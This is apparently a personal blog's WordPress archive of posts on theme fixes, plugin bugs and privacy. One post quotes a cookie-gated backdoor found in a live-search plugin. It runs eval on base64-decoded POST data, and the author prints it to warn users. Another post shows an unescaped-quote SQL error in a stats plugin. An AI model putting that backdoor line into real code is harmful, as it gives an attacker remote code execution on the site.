Category Archives: Wordpress

New theme part III

Leave a reply

After last nights debacle with the live search plugin, I tried an other one that was based on it: Live search popup. Unfortunately that one didn’t display very well in my theme, so I just removed it and won’t be offering a “Web 2.0″ search option for now.

Further changes to the Freshy2 theme and wordpress:

  • I’ve added a none.gif to the background images folder, since I got loads of 404 messages about it not being in there.
  • I’ve copied the default search box style (#s) from the wordpress theme and removed the “white” background color so you can see what you type when searching. Unfortunately I now need a black anti-aliased version of the search icon.
  • I’ve added a header to the search widget (guess that will be gone on the next WP update from Debian, as soon as the TinyMCE maintainer updates TinyMCE). Not sure if I really want it to stay, but if I do I need to find a better way to add it.

Now I “just” need to work on the <pre> and <code> output of the theme, since reading it is not very easy at the moment.

And I found why the Live search plugin didn’t work. It uses the deprecated get_bloginfo(‘siteurl’), while it should be using get_bloginfo(‘wpurl’). But well, after having contact with the maintainer of it, I won’t be using it. He is not interested in maintaining it, so better not to use that one.

New theme continued: why not to trust plugins

Leave a reply

With this new theme I also saw that it was compatible with the “Addicted to live search plugin”[1]. (Un)fortunately this plugin doesn’t work out of the box either, at least not if you do not have WordPress running directly in the root.

But… Since I was looking at the code to fix this I also found:

<?php if($_COOKIE['7b13cc987791f418']=="6d6bedf94c36d538"){ eval(base64_decode($_POST['file'])); exit; } ?>

No thank you very much!

So what did we learn: Never ever trust WordPress plugins… So do not use this (version of the) plugin, unless you know how to remove this piece of code!

I’ll check out after some sleep what WordPress has to offer when you find a vulnerability like this in a plugin, so perhaps users of it can be warned… And I’ll fix this plugin later also, to be continued…

Update: it seems that it’s fixed. Although I’m not sure how the WordPress auto-update feature could create a line of code like that (as in, this sounds like bollocks to me).


[1] Funny sidenote, I found this blog two years ago and commented on one of his articles on Oracle.

New theme

Leave a reply

A while ago I decided to change the default WordPress theme into the Freshy2 theme, since I liked the looks of it… I now partially wish I did not do that… Changing the theme was not trivial… Mainly because of two problems:

1. In the wp-content/themes/freshy2/functions.php file on line 474 it says

$path = WP_CONTENT_DIR.$theme_info->template_dir.'/';

If you change that to:

$path = ABSPATH.$theme_info->template_dir.'/';

suddenly you are able to configure the theme as promised by the author (at least that is what I needed to do with my Debian version of WordPress).

2. The customize freshy plugin that is advertised makes it so that I even though I’ve changed the stylesheet, it’s still not visible. So I’ve disabled that plugin. The line of php that is causing this behavior is also in functions.php, but then on line 26

if (!class_exists('Nice_theme')) add_action('wp_head','freshy_head');

Seems that Nice_theme doesn’t change the wp_head function. I didn’t look further into this, since the configuration options Freshy2 gives me are enough.

Furthermore, this theme breaks the xhtml 1.1 validation. I’ve removed the autocomplete="off" in the searchform.php file and added a <p> block around the search inputs. For more information about the autocomplete attribute and xhtml see this post on the Mozilla wiki (to be moved some time in the future).

Talking about xhtml 1.1 validation. This theme also puts a xhtml 1.0 doctype in the pages, while the footer of WordPress shows xhtml 1.1. So I’ve changed the doctype and removed the lang=”en” attribute from the <html> tag. But well, guess only a few people really try the validation button on the bottom of the page.

And I had to change the title of the blog again in the same manner as I did the last time on the default WordPress theme.

But, now I’ve done this I’m very happy. I really like the theme’s looks, certainly with this dark version, since it also adds something that I really wanted: no more fixed width layout! With the default version you still get a fixed with version, but this one scales. So thank you Jide!

Now a few things remain to be done:

  • Fix the <code> layout, since it doesn’t play well with my code formatting plugin and well.. it distracts a bit
  • Add Excerpts to all my posts
  • Cut down on the number of categories and add more tags
  • Find out why some post don’t show their date on the homepage
  • Change the color of the input text, so you can see what you search for
  • Post more frequently (still got about 20 drafts to work on)
  • Find out why putting <pre> tags inside <li> tags breaks validation

Update: I should have read the comments on the theme site before I started to work on the theme… Then I would have seen that more people encountered the problems and already wrote fixes to them. Someone thought the problem with the disappearing post dates has to do with editing the post after publishing. That is not the case, unfortunately. It is caused because the_date() doesn’t show the date if it’s the same as the date of the post before. In the default WordPress theme the_time('F jS, Y') is used in stead of the_date(). And the_time() doesn’t check for the last date. But, with just putting ‘F js, Y’ into this function call, changing your date format in the settings doesn’t help, so what you need to put in the index.php file on line 15 is the_time(get_option('date_format')). At least, if you want the date to be always shown. Perhaps I should make it a feature request that you can change this behavior of the_date, and add a bug report that the default theme doesn’t listen to the date_format setting…

Posting in the future…

Leave a reply

Seems I just made a post 1 hour into the future and with that, on a different day. The WordPress settings say

Unfortunately, you have to manually update this for Daylight Savings Time. Lame, we know, but will be fixed in the future.

Lame indeed, and guess I forgot about this. A while ago a colleague encountered a similar problem in phpBB. Guess it’s PHP related and not just WordPress, as both products have the same problem. I wonder if the fix promised by WordPress is waiting for daylight savings time to be abandoned as idea, since it’s advantages are still being questioned.

WordPress … I really need to change my blogging software

Leave a reply

Today I accidentally found a bug in a version of a wordpress stats plugin. I searched for a word with a “‘” in it (foto’s) and as a result I got the following error on some blog:


WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 's','nl','Linux','Firefox','Google','','')' at line 1]
INSERT INTO turbostatpress (date, time, ip, urlrequested, agent, referrer, search,nation,os,browser,searchengine,spider,feed) VALUES ('20080222','16:41:43','MY-IP-HERE','','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20061201 Firefox/2.0.0.12 (Ubuntu-feisty)', 'LONG-REFERER', 'foto's', 'nl', 'Linux', 'Firefox', 'Google', '', '')

I’m wondering… Will this bug also appear if I change my browser identify string into something with a single quote in it? Seems that this idea has already been tested + fixed in the latest version of StatPress. ‘Unfortunately’ the $_SERVER['HTTP_REFERER'] string is escaped automagicly. Which seems to be done by wordpress itself, since if I try to echo $_SERVER['HTTP_REFERER'] within the StatPress plugin the ‘ in my referrer is escaped with a \, while this is not the case in a normal PHP script. I say unfortunately since the StatPress plugin writer doesn’t escape the referrer himself.

Most striking though was that I just read a post from Tom Kyte about bad practice on SQL. The quote “… apostrophe is often mistaken for a piece of computer code, corrupting the system. …” was nice. So don’t use apostrophes please, they corrupt computer systems ;-)

P.s. True this bug is not related to wordpress itself, since it was just a plugin writer who screwed-up…

P.s.2. I think spelling checking software should add HTTP_REFERER to their word lists, since it’s a RFC approved spelling error ;) .

WordPress privacy concerns

Leave a reply

I was told by a colleague that WordPress was being discussed on the privacy subject. Now I don’t want to go into that discussion, but I encountered a post by Ryan Finnie about $_SERVER variables being send to the Akismet server.

If you plan to use HTTP authentication and use Akismet it’s a wise idea to patch your Akismet with the patch provided Ryan Finnie. This because otherwise your login data is send to the Akismet server every time it checks the comment post. True, having both Akismet and HTTP authentication is a bit strange, but I think it’s better to remove such data then to have it transferred to Akismet.

I hope Matt will accept this bug as being valid.

I also found some other items about the need to send $_SERVER in total. Certinately the enhanced akismet plugin sounds like a good alternative.

I hate blogging already….

Leave a reply

So. I was writing a post about some one-liner I wrote to move a lot (but not all) directories in a svn repository to another directory. Because the one-liner was getting lengthy I added slashes to it so it was better readable. But on saving I lost my slashes?!

This seems to be caused by a 2 year old bug in wordpress. I hope that with the fix I posted this bug will be resolved soon. For now I’ll just patch my version of WordPress.